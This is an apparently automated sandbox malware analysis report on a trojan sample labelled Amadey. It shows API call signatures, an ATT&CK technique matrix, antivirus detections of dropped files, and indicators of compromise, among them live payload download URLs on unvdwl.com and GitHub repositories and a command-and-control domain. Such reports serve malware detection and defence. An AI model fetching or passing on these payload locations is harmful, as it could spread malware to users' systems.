Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation

Source: C:\Users\user\Desktop\dYUteuvmHn.exe

Code function: 0_2_00007FF7127742F0 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00007FF7127742F0

Source: C:\Windows\System32\svchost.exe

Code function: 55_2_00007FF8B90B2860 GetUserNameA,GetLastError,_strdup,

55_2_00007FF8B90B2860

Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF8A934B3F0 socket,htonl,setsockopt,bind,getsockname,listen,socket,connect,accept,send,recv,WSAGetLastError,closesocket,closesocket,closesocket,closesocket,	5_2_00007FF8A934B3F0
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF8A9351EA6 calloc,calloc,calloc,bind,WSAGetLastError,	5_2_00007FF8A9351EA6
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF8A931EFC0 strchr,strchr,inet_pton,strchr,strtoul,strchr,strtoul,memmove,getsockname,WSAGetLastError,inet_ntop,WSAGetLastError,memmove,htons,bind,WSAGetLastError,getsockname,getsockname,listen,WSAGetLastError,htons,	5_2_00007FF8A931EFC0
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF8A9352130 calloc,calloc,calloc,bind,WSAGetLastError,	5_2_00007FF8A9352130
Source: C:\Users\user\Desktop\curlapp64.exe	Code function: 5_2_00007FF8A9307410 memset,WSAGetLastError,strchr,inet_pton,htons,strtoul,inet_pton,htons,WSAGetLastError,htons,htons,bind,htons,bind,WSAGetLastError,	5_2_00007FF8A9307410
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00007FF8B915B3F0 socket,htonl,setsockopt,bind,getsockname,listen,socket,connect,accept,send,recv,WSAGetLastError,closesocket,closesocket,closesocket,closesocket,	55_2_00007FF8B915B3F0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Valid Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	OS Credential Dumping	11 System Time Discovery	1 Exploitation of Remote Services	12 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 Data Encrypted for Impact
Credentials	Domains	Default Accounts	112 Command and Scripting Interpreter	1 Valid Accounts	1 Valid Accounts	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	Data from Removable Media	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	11 Scheduled Task/Job	111 Windows Service	1 Access Token Manipulation	2 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Service Execution	11 Scheduled Task/Job	111 Windows Service	1 Software Packing	NTDS	32 System Information Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	1 Registry Run Keys / Startup Folder	11 Process Injection	1 DLL Side-Loading	LSA Secrets	221 Security Software Discovery	SSH	Keylogging	3 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	11 Scheduled Task/Job	11 File Deletion	Cached Domain Credentials	1 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	1 Registry Run Keys / Startup Folder	121 Masquerading	DCSync	121 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Valid Accounts	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Modify Registry	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Access Token Manipulation	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	121 Virtualization/Sandbox Evasion	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	11 Process Injection	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
dYUteuvmHn.exe	66%	ReversingLabs	Win64.Trojan.Amadey
dYUteuvmHn.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\Desktop\prnttemp.dll	100%	Avira	HEUR/AGEN.1300651
C:\Users\user\Desktop\curlapp64.exe	100%	Joe Sandbox ML
C:\Windows\System32\bav64.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\curlapp64.exe	45%	ReversingLabs	Win64.Trojan.Cerbu
C:\Users\user\Desktop\libcurl.dll	0%	ReversingLabs
C:\Users\user\Desktop\prnttemp.dll	27%	ReversingLabs	Win64.Trojan.Giant
C:\Users\user\Desktop\zlib1.dll	0%	ReversingLabs
C:\Windows \System32\printui.dll (copy)	27%	ReversingLabs	Win64.Trojan.Giant
C:\Windows \System32\printui.exe	0%	ReversingLabs
C:\Windows\System32\bav64.exe	42%	ReversingLabs	Win64.Trojan.Generic
C:\Windows\System32\console_zero.exe	46%	ReversingLabs	Win64.Trojan.Generic
C:\Windows\System32\libcrypto-3-x64.dll	0%	ReversingLabs
C:\Windows\System32\libcurl.dll	0%	ReversingLabs
C:\Windows\System32\libiconv-2.dll	0%	ReversingLabs
C:\Windows\System32\libintl-9.dll	0%	ReversingLabs
C:\Windows\System32\libpq.dll	0%	ReversingLabs
C:\Windows\System32\libssl-3-x64.dll	0%	ReversingLabs
C:\Windows\System32\libwinpthread-1.dll	0%	ReversingLabs
C:\Windows\System32\svcldr64.dat	39%	ReversingLabs	Win64.Trojan.Lazy
C:\Windows\System32\ucrtbased.dll	0%	ReversingLabs
C:\Windows\System32\vcruntime140d.dll	0%	ReversingLabs
C:\Windows\System32\x610437.dat	71%	ReversingLabs	Win64.Trojan.Cerbu
C:\Windows\System32\zlib1.dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://raw.githubusercontent.c	0%	Avira URL Cloud	safe
http://unvdwl.com/un2/botprnt.datsInfon	100%	Avira URL Cloud	malware
http://unvdwl.com/un2/botprnt.datsInfo	100%	Avira URL Cloud	malware
http://unvdwl.com/un2/botprnt.dat	100%	Avira URL Cloud	malware
http://www.zlib.net/D	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
github.com	20.233.83.145	true	false	high
ipinfo.io	34.117.59.81	true	false	high
raw.githubusercontent.com	185.199.109.133	true	false	high
rootunvbot.com	188.116.21.204	true	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://raw.githubusercontent.com/botrunvd01/botdwl/main/botprnt.dat	false		high
https://github.com/botrunvd01/botdwl/raw/main/botprnt.dat	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://contoso.com/License	powershell.exe, 0000002D.00000002.2938384773.0000021FD8097000.00000004.00000800.00020000.00000000.sdmp	false		high
https://raw.githubusercontent.c	curlapp64.exe, 00000005.00000003.2483165548.0000022DE26F2000.00000004.00000020.00020000.00000000.sdmp, curlapp64.exe, 00000005.00000003.2494142253.0000022DE26F3000.00000004.00000020.00020000.00000000.sdmp, curlapp64.exe, 00000005.00000002.2494596778.0000022DE26F3000.00000004.00000020.00020000.00000000.sdmp, curlapp64.exe, 00000008.00000003.2588031470.0000021656B68000.00000004.00000020.00020000.00000000.sdmp, curlapp64.exe, 00000008.00000002.2588286320.0000021656B68000.00000004.00000020.00020000.00000000.sdmp, curlapp64.exe, 00000008.00000003.2581660737.0000021656B67000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://unvdwl.com/un2/botprnt.datsInfon	curlapp64.exe, 00000008.00000002.2588286320.0000021656B37000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/runvd01/dwl/raw/refs/heads/main/cmn/unv.dat	svchost.exe, 00000037.00000002.3295722777.000001C2A44E6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000037.00000002.3295341739.000001C2A4445000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000037.00000002.3295722777.000001C2A44EF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000037.00000002.3295341739.000001C2A442B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000037.00000002.3295722777.000001C2A44EA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.openssl.org/	svchost.exe	false		high
http://unvdwl.com/un2/botprnt.datsInfo	curlapp64.exe, 0000000B.00000002.2670992217.000002552EEA8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://raw.githubusercontent.com/botrunvd01/botdwl/main/botprnll	curlapp64.exe, 00000005.00000003.2483165548.0000022DE26F2000.00000004.00000020.00020000.00000000.sdmp, curlapp64.exe, 00000005.00000003.2494142253.0000022DE26F3000.00000004.00000020.00020000.00000000.sdmp, curlapp64.exe, 00000005.00000002.2494596778.0000022DE26F3000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/botrunvd01/botdwl/raw/main/botprnt.date-Age	curlapp64.exe, 00000008.00000003.2588031470.0000021656B68000.00000004.00000020.00020000.00000000.sdmp, curlapp64.exe, 00000008.00000002.2588286320.0000021656B68000.00000004.00000020.00020000.00000000.sdmp, curlapp64.exe, 00000008.00000003.2581660737.0000021656B67000.00000004.00000020.00020000.00000000.sdmp	false		high
https://curl.se/docs/hsts.html	dYUteuvmHn.exe	false		high
https://curl.se/docs/alt-svc.html#	curlapp64.exe, svchost.exe	false		high
https://curl.se/	curlapp64.exe, svchost.exe	false		high
https://github.com/botrunvd01/botdwl/raw/main/botprnt.datQ	curlapp64.exe, 0000000B.00000003.2664909778.000002552EEC0000.00000004.00000020.00020000.00000000.sdmp, curlapp64.exe, 0000000B.00000002.2671597203.000002552EED2000.00000004.00000020.00020000.00000000.sdmp, curlapp64.exe, 0000000B.00000003.2664931093.000002552EED1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://curl.se/docs/hsts.html#	curlapp64.exe	false		high
https://github.com/runvd01/dwl/raw/refs/heads/main/un2/uusb.dat9116689160438357301003900111	svchost.exe, 00000037.00000002.3295722777.000001C2A44EA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 0000002D.00000002.2938384773.0000021FD8097000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 0000002D.00000002.2938384773.0000021FD8097000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ipinfo.io/json	svchost.exe, 00000037.00000002.3295722777.000001C2A4486000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/runvd01/dwl/raw/refs/heads/main/cmn/ucpu.dat	svchost.exe, 00000037.00000002.3295722777.000001C2A44E6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000037.00000002.3295515594.000001C2A444B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000037.00000002.3295341739.000001C2A442B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000037.00000002.3295515594.000001C2A4460000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000037.00000002.3295722777.000001C2A44EA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://raw.githubusercontent.com/botrunvd01/botdwl/main/botprnZ	curlapp64.exe, 00000008.00000003.2588031470.0000021656B68000.00000004.00000020.00020000.00000000.sdmp, curlapp64.exe, 00000008.00000002.2588286320.0000021656B68000.00000004.00000020.00020000.00000000.sdmp, curlapp64.exe, 00000008.00000003.2581660737.0000021656B67000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 0000002D.00000002.2918363096.0000021FC8031000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/runvd01/dwl/raw/refs/heads/main/un2/uusb.dat	svchost.exe, 00000037.00000002.3295341739.000001C2A442B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000037.00000002.3295722777.000001C2A44EA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000037.00000002.3295722777.000001C2A4486000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/botrunvd01/botdwl/raw/main/botprnt.datdll5	curlapp64.exe, 00000005.00000002.2494596778.0000022DE26CC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://raw.githubusercontent.com/botrunvd01/botdwl/main/botprnt.datL	curlapp64.exe, 00000008.00000003.2588031470.0000021656B4B000.00000004.00000020.00020000.00000000.sdmp, curlapp64.exe, 00000008.00000002.2588286320.0000021656B4E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.gnu.org/licenses/	svchost.exe, 00000037.00000002.3294476493.00000000682A4000.00000008.00000001.01000000.00000013.sdmp	false		high
http://nuget.org/NuGet.exe	powershell.exe, 0000002D.00000002.2938384773.0000021FD8097000.00000004.00000800.00020000.00000000.sdmp	false		high
https://raw.githubusercontent.com/botrunvd01/botdwl/main/botprnt.dattprnt.dat	curlapp64.exe, 00000005.00000002.2494596778.0000022DE26CC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/botrunvd01/botdwl/raw/main/botprnt.datl	curlapp64.exe, 00000005.00000002.2494596778.0000022DE26CC000.00000004.00000020.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000002D.00000002.2918363096.0000021FC8256000.00000004.00000800.00020000.00000000.sdmp	false		high
https://curl.se/docs/http-cookies.html	dYUteuvmHn.exe	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 0000002D.00000002.2918363096.0000021FC8256000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000002D.00000002.2918363096.0000021FC8256000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ipinfo.io/json2H2	svchost.exe, 00000037.00000002.3295722777.000001C2A4486000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/botrunvd01/botdwl/raw/main/botprnt.datd	curlapp64.exe, 0000000B.00000002.2670992217.000002552EEB4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 0000002D.00000002.2938384773.0000021FD8097000.00000004.00000800.00020000.00000000.sdmp	false		high
https://dns.google/resolve?name=	dYUteuvmHn.exe	false		high
https://www.gnu.org/licenses/	svchost.exe, 00000037.00000002.3293593062.00000000660F4000.00000008.00000001.01000000.00000016.sdmp	false		high
https://raw.githubusercontent.com/botrunvd01/botdwl/main/botprnt.dat2	curlapp64.exe, 00000008.00000003.2588031470.0000021656B4B000.00000004.00000020.00020000.00000000.sdmp, curlapp64.exe, 00000008.00000002.2588286320.0000021656B4E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/botrunvd01/botdwl/raw/main/botprnt.datdllZ	curlapp64.exe, 0000000B.00000002.2670992217.000002552EEB4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://curl.se/docs/alt-svc.html	dYUteuvmHn.exe	false		high
https://github.com/botrunvd01/botdwl/raw/main/botprnt.datX	curlapp64.exe, 00000005.00000002.2494596778.0000022DE26CC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 0000002D.00000002.2918363096.0000021FC8256000.00000004.00000800.00020000.00000000.sdmp	false		high
https://curl.se/docs/copyright.htmlD	dYUteuvmHn.exe	false		high
https://github.com/runvd01/dwl/raw/refs/heads/main/cmn/ucpusys.dat	svchost.exe, 00000037.00000002.3295722777.000001C2A44E6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000037.00000002.3295515594.000001C2A444B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000037.00000002.3295341739.000001C2A442B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000037.00000002.3295515594.000001C2A4460000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000037.00000002.3295722777.000001C2A44EA000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.zlib.net/	curlapp64.exe, svchost.exe	false		high
http://unvdwl.com/un2/botprnt.dat	curlapp64.exe, 00000005.00000002.2494596778.0000022DE26CC000.00000004.00000020.00020000.00000000.sdmp, curlapp64.exe, 00000008.00000002.2588286320.0000021656B37000.00000004.00000020.00020000.00000000.sdmp, curlapp64.exe, 0000000B.00000002.2670992217.000002552EEA8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://mingw-w64.sourceforge.net/X	svchost.exe, 00000037.00000002.3292747855.0000000064953000.00000008.00000001.01000000.00000015.sdmp	false		high
https://curl.se/docs/copyright.html	curlapp64.exe, svchost.exe	false		high
http://www.zlib.net/D	dYUteuvmHn.exe	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 0000002D.00000002.2918363096.0000021FC8256000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.openssl.org/H	svchost.exe, 00000037.00000002.3297407684.00007FF8B83F1000.00000002.00000001.01000000.00000012.sdmp, svchost.exe, 00000037.00000002.3296835275.00007FF8A7C8E000.00000002.00000001.01000000.00000014.sdmp	false		high
https://raw.githubusercontent.com/botrunvd01/botdwl/main/botprn	curlapp64.exe, 00000005.00000003.2483165548.0000022DE26F2000.00000004.00000020.00020000.00000000.sdmp, curlapp64.exe, 00000005.00000003.2494142253.0000022DE26F3000.00000004.00000020.00020000.00000000.sdmp, curlapp64.exe, 00000005.00000002.2494596778.0000022DE26F3000.00000004.00000020.00020000.00000000.sdmp, curlapp64.exe, 00000008.00000003.2588031470.0000021656B68000.00000004.00000020.00020000.00000000.sdmp, curlapp64.exe, 00000008.00000002.2588286320.0000021656B68000.00000004.00000020.00020000.00000000.sdmp, curlapp64.exe, 00000008.00000003.2581660737.0000021656B67000.00000004.00000020.00020000.00000000.sdmp, curlapp64.exe, 0000000B.00000003.2664909778.000002552EEC0000.00000004.00000020.00020000.00000000.sdmp, curlapp64.exe, 0000000B.00000002.2671597203.000002552EED2000.00000004.00000020.00020000.00000000.sdmp, curlapp64.exe, 0000000B.00000003.2664931093.000002552EED1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://aka.ms/pscore68	powershell.exe, 0000002D.00000002.2918363096.0000021FC8031000.00000004.00000800.00020000.00000000.sdmp	false		high
https://curl.se/docs/http-cookies.html#	curlapp64.exe	false		high
https://github.com/runvd01/dwl/raw/refs/heads/main/cmn/uamd.dat	svchost.exe, 00000037.00000002.3295722777.000001C2A44E6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000037.00000002.3295341739.000001C2A4445000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000037.00000002.3295341739.000001C2A442B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000037.00000002.3295515594.000001C2A4460000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000037.00000002.3295722777.000001C2A44EA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ipinfo.io/json6600	svchost.exe, 00000037.00000002.3295722777.000001C2A4486000.00000004.00000020.00020000.00000000.sdmp	false		high
https://curl.se/V	dYUteuvmHn.exe	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.199.109.133	raw.githubusercontent.com	Netherlands	54113	FASTLYUS	false
34.117.59.81	ipinfo.io	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
20.233.83.145	github.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
